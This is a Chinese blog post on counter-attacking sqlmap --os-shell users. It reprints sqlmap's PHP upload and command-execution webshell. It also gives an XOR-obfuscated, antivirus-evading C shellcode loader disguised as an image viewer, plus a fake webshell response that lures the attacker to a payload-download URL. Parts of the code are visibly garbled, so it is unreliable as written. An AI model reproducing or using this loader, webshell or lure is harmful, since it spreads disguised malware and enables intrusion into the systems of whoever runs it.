sqlmap --os-shell反制小思路
前言
之前有看到goby反制和松鼠A師傅蟻劍反制的文章,再想到之前寫過sqlmap的shell免殺,覺得思路其實差不多,就寫一篇sqlmap的反制吧。
sqlmap流量分析
(其實可以通過分析解密后sqlmap內置的backdoor后門文件(文章鏈接))
具體sqlmap的攻擊流程差不多是這樣:
1. 測試鏈接是否能夠訪問
2. 判斷操作系統版本
3. 傳遞一個數組,嘗試爆絕對路徑
4. 指定上傳路徑
5. 使用lines terminated by 寫入一個php文件,該php文件可以進行文件上傳
6. 嘗試找到上傳的文件的訪問路徑;直到找到正確的路徑
7. 通過上傳的臨時文件,嘗試上傳另外一個php文件, 該文件可以進行命令執行
8. 嘗試進行命令執行 echo command execution test
9. 直接輸入對應的命令
10. 退出 -–os-shell后刪除命令馬
然后我們反制思路其實大概分為兩個
- 一個是通過打開的頁面嵌入js來直接執行命令
- 另一個是通過打開釣魚頁面(比如flash釣魚那種)
這兩個相比而言其實各有優點,但我決定結合一下?
通過打開的頁面來下載圖片馬,然后進行rce

制作
圖片馬里面的程序用C寫的,用異或做了免殺(和其他師傅學習的)
這個是引用的頭文件
//{{NO_DEPENDENCIES}}//#define IDR_IMAGE1 101#define IDI_ICON1 102
// Next default values for new objects// #ifdef APSTUDIO_INVOKED#ifndef APSTUDIO_READONLY_SYMBOLS#define _APS_NEXT_RESOURCE_VALUE 103#define _APS_NEXT_COMMAND_VALUE 40001#define _APS_NEXT_CONTROL_VALUE 1001#define _APS_NEXT_SYMED_VALUE 101#endif#endif
這個才是C腳本
#include#include#include#include "resource.h"using namespace std;
void image() { IMAGE img; loadimage(&img, L"IMAGE", MAKEINTRESOURCE(IDR_IMAGE1)); int w, h; w = img.getwidth(); h = img.getheight(); initgraph(w, h); putimage(0, 0, &img); getchar(); closegraph();}
int main(){ unsigned char shellc0de[] = "\x1c\x65\x9d\x1c\xd5\xbd\x89\xab\xab\xab\x1c\xd9\x51\xbb\xab\xab\xab\x1c\xef\x4c\xc8\xae\xed\x37\x61\xee\x24\x1c\x65\x0c\x73\x1c\x79\xac\xab\xab\xab\xb6\xa0\xb0\x80\x2d\x09\xc7\x89\x2e\x24\x4c\xc8\xef\xbc\x76\x31\xbc\x75\x1a\x80\x9f\x3f\x52\x29\x65\x76\x2c\x80\x25\xbf\x2f\x29\x65\x76\x6c\x80\x25\x9f\x67\x29\xe1\x93\x06\x82\xe3\xdc\xfe\x29\xdf\xe4\xe0\xf4\xcf\x91\x35\x4d\xce\x65\x8d\x01\xa3\xac\x36\xa0\x0c\xc9\x1e\x89\xff\xa5\xbc\x33\xce\xaf\x0e\xf4\xe6\xec\xe7\xea\x6e\xac\x4c\xc8\xae\xa5\xb2\xa1\x9a\x43\x04\xc9\x7e\xbd\xbc\x29\xf6\x60\xc7\x88\x8e\xa4\x36\xb1\x0d\x72\x04\x37\x67\xac\xbc\x55\x66\x6c\x4d\x1e\xe3\xdc\xfe\x29\xdf\xe4\xe0\x89\x6f\x24\x3a\x20\xef\xe5\x74\x28\xdb\x1c\x7b\x62\xa2\x00\x44\x8d\x97\x3c\x42\xb9\xb6\x60\xc7\x88\x8a\xa4\x36\xb1\x88\x65\xc7\xc4\xe6\xa9\xbc\x21\xf2\x6d\x4d\x18\xef\x66\x33\xe9\xa6\x25\x9c\x89\xf6\xac\x6f\x3f\xb7\x7e\x0d\x90\xef\xb4\x76\x3b\xa6\xa7\xa0\xe8\xef\xbf\xc8\x81\xb6\x65\x15\x92\xe6\x66\x25\x88\xb9\xdb\xb3\x37\xf3\xa5\x8d\x60\xee\x24\x4c\xc8\xae\xed\x37\x29\x63\xa9\x4d\xc9\xae\xed\x76\xdb\xdf\xaf\x23\x4f\x51\x38\x8c\x81\xf3\x0e\x46\x89\x14\x4b\xa2\xdc\x73\xdb\x99\x80\x2d\x29\x1f\x5d\xe8\x58\x46\x48\x55\x0d\x42\x64\x55\x63\x5f\xba\xc1\x87\x37\x38\xaf\xad\x96\x37\x7b\x8e\x56\x0d\x8d\x0a\x29\xb0\xcb\xed\x37\x61\xee\x24"; unsigned char key[] = "\x09\xab"; unsigned char aa[] = "\x32\xff";
DWORD dw_size = sizeof shellc0de; int i; for (i = 0; i < dw_size; i++) {
shellc0de[i] ^= key[1]; shellc0de[i] = aa[1] - shellc0de[i]; } LPVOID men = CoTaskMemAlloc(sizeof shellc0de); DWORD lpflOldProtect = 0; UINT name = RegisterClipboardFormatW((LPCWSTR)shellc0de); VirtualProtect(men, sizeof3 shellc0de, 0x40, &lpflOldProtect); GetClipboardFormatNameW(name, (LPWSTR)men, sizeof shellc0de); HANDLE handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)men, 0, 0, 0); WaitForSingleObject(handle, -1); image(); return 0;}
圖片自己選一張然后生成馬就行
馬弄得差不多了,接下來看看sqlmap的流量分析
分析&構造
眾所周知,sqlmap會使用lines terminated by 寫入一個php文件,可以進行文件上傳。
// 判斷是否有一個upload的值傳過來if (isset($_REQUEST["upload"])){ // 將uploadDir賦值給絕對路徑 $dir = $_REQUEST["uploadDir"]; // 判斷php版本是否小于4.1.0 if (phpversion() < '4.1.0') { $file = $HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die; } else { $file = $_FILES["file"]["name"]; // 完成上傳 @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die; } // 設置權限 @chmod($dir . "/" . $file, 0755); echo "File uploaded";}else{ echo ""PHP_SELF"] . " method=POST enctype=multipart/form-data>sqlmap file uploader
to directory: ";}
然后找絕對路徑,上傳下面這個真正的命令馬。
$c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)) { $z=preg_replace("/[, ]+/",',',$z); $z=explode(',',$z); $z=array_map("trim",$z);} else { $z=array();}$c=$c." 2>&1";// 將命令與 2>&1進行拼接function f($n) { global $z; return is_callable($n)and!in_array($n,$z);//is_callable函數檢查f($n)在當前環境中是否可調用}if(f("system")) { ob_start(); system($c); $w=ob_get_clean();//返回輸出緩沖區的內容,清空(擦除)緩沖區并關閉輸出緩沖} elseif(f("proc_open")) { $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t); $w=NULL; while(!feof($t[1])) {//feof函數檢查是否已到達文件末尾(EOF) $w.=fread($t[1],512); } @proc_close($y);} elseif(f("shell_exec")) { $w=shell_exec($c);} elseif(f("passthru")) { ob_start(); passthru($c); $w=ob_get_clean();} elseif(f("popen")) {//popen()函數通過創建一個管道,調用 fork 產生一個子進程,執行一個 shell 以 運行命令 來開啟一個進程。這個進程必須由 pclose () 函數關閉 $x=popen($c,r); $w=NULL; if(is_resource($x)) { while(!feof($x)) { $w.=fread($x,512);//fread() 函數讀取文件(可安全用于二進制文件)。512:讀取的最大字節數。 } } @pclose($x);// pclose()函數關閉標準 I/O 流,等待命令執行結束,然后返回 shell 的終止狀態。} elseif(f("exec")) { $w=array(); exec($c,$w); $w=join(chr(10),$w).chr(10);} else { $w=0;}echo"
$w
";?>
而最后的返回包,webshell獲取了網站目錄、數據庫類型等信息。
這個時候,我們可以寫一個偽造的sqlmap的”webshell“
echo "SORRY"; preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B); $c="$B[0]"; $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉 $txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t"; echo "$txt";//偽造連通
然后搭配上掛馬圖片的下載鏈接
$iscmd="%(.*)127;%si";if (preg_match($iscmd,$A)!=0) { preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B); $c="$B[0]"; $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉 $payload='http://shell.com/index.html'; echo 'WARN://'."".'數據上傳成功,但與flash進行交互,請訪問該網址進行shell鏈接。SQLMAP:'."$payload";
一代目
php寫的不好,可能有點不符合sqlmap返回包的形式,以后我慢慢改吧
$A=urldecode(file_get_contents("php://input"));$iscmd="%(.*)127;%si";if (preg_match($iscmd,$A)!=0) { preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B); $c="$B[0]"; $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉 $payload='http://exp.com/index.html'; echo 'WARN://'."".'數據上傳成功,但與flash進行交互,請訪問該網址進行shell鏈接。SQLMAP:'."$payload";//隨便寫,誘惑別人點進去。反正我是不信sqlmap會用flash} else { echo "SORRY"; preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B); $c="$B[0]"; $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉 $txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t"; echo "$txt";//偽造連通性}
反思
其實這個想法我感覺可能不太好,在連通性處寫的可能有問題,我的wireshark有點問題,一直抓不了本地的流量包,只能看我終端返回的內容進行偽造了=_=
如果可以的話,師傅們可以抓本地流量包,然后自己改寫偽造連通性的腳本。